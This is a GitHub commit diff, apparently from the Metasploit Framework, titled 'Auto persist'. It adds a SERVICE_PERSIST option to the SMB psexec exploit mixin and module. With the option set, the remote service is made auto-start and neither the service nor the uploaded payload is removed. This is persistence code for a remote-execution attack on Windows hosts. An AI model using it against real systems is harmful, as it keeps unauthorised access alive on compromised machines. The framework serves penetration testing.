Skip to content

Commit 2c9209f

Browse files
committed
Auto persist
1 parent fd7f35d commit 2c9209f

File tree

2 files changed

+36
-10
lines changed

2 files changed

+36
-10
lines changed

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,18 +23,34 @@ def initialize(info = {})
2323
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
2424
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
2525
], self.class)
26+
27+
register_advanced_options(
28+
[
29+
OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
30+
], self.class)
2631
end
2732

33+
# Retrieve the SERVICE_NAME option, generate a random
34+
# one if not already set.
35+
#
36+
# @return service_name [String] the name of the service.
2837
def service_name
2938
@service_name ||= datastore['SERVICE_NAME']
3039
@service_name ||= rand_text_alpha(8)
3140
end
3241

42+
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
43+
# one if not already set.
44+
#
45+
# @return service_display_name [String] the display name of the service.
3346
def display_name
3447
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
3548
@display_name ||= rand_text_alpha(16)
3649
end
3750

51+
# Retrieve the SERVICE_DESCRIPTION option
52+
#
53+
# @return service_description [String] the service description.
3854
def service_description
3955
@service_description ||= datastore['SERVICE_DESCRIPTION']
4056
end
@@ -89,8 +105,14 @@ def psexec(command, disconnect=true)
89105

90106
return false unless scm_handle
91107

108+
if datastore['SERVICE_PERSIST']
109+
opts = { :start => SERVICE_AUTO_START }
110+
else
111+
opts = {}
112+
end
113+
92114
vprint_status("#{peer} - Creating the service...")
93-
svc_handle, svc_status = dce_createservicew(dcerpc, scm_handle, service_name, display_name, command, {})
115+
svc_handle, svc_status = dce_createservicew(dcerpc, scm_handle, service_name, display_name, command, opts)
94116

95117
case svc_status
96118
when ERROR_SUCCESS
@@ -133,6 +155,8 @@ def psexec(command, disconnect=true)
133155
# Maybe we could have a force cleanup option..?
134156
if service_exists
135157
print_warning("#{peer} - Not removing service as it already existed...")
158+
elsif datastore['SERVICE_PERSIST']
159+
print_warning("#{peer} - Not removing service for persistance...")
136160
else
137161
vprint_status("#{peer} - Removing the service...")
138162
svc_status = dce_deleteservice(dcerpc, svc_handle)

modules/exploits/windows/smb/psexec.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -196,15 +196,17 @@ def exploit
196196

197197
psexec(file_location, false)
198198

199-
print_status("Deleting \\#{filename}...")
200-
sleep(1)
201-
#This is not really useful but will prevent double \\ on the wire :)
202-
if datastore['SHARE'] =~ /.[\\\/]/
203-
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
204-
simple.delete("\\#{fileprefix}\\#{filename}")
205-
else
206-
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
207-
simple.delete("\\#{filename}")
199+
unless datastore['SERVICE_PERSIST']
200+
print_status("Deleting \\#{filename}...")
201+
sleep(1)
202+
#This is not really useful but will prevent double \\ on the wire :)
203+
if datastore['SHARE'] =~ /.[\\\/]/
204+
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
205+
simple.delete("\\#{fileprefix}\\#{filename}")
206+
else
207+
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
208+
simple.delete("\\#{filename}")
209+
end
208210
end
209211
end
210212
handler

0 commit comments

Comments
 (0)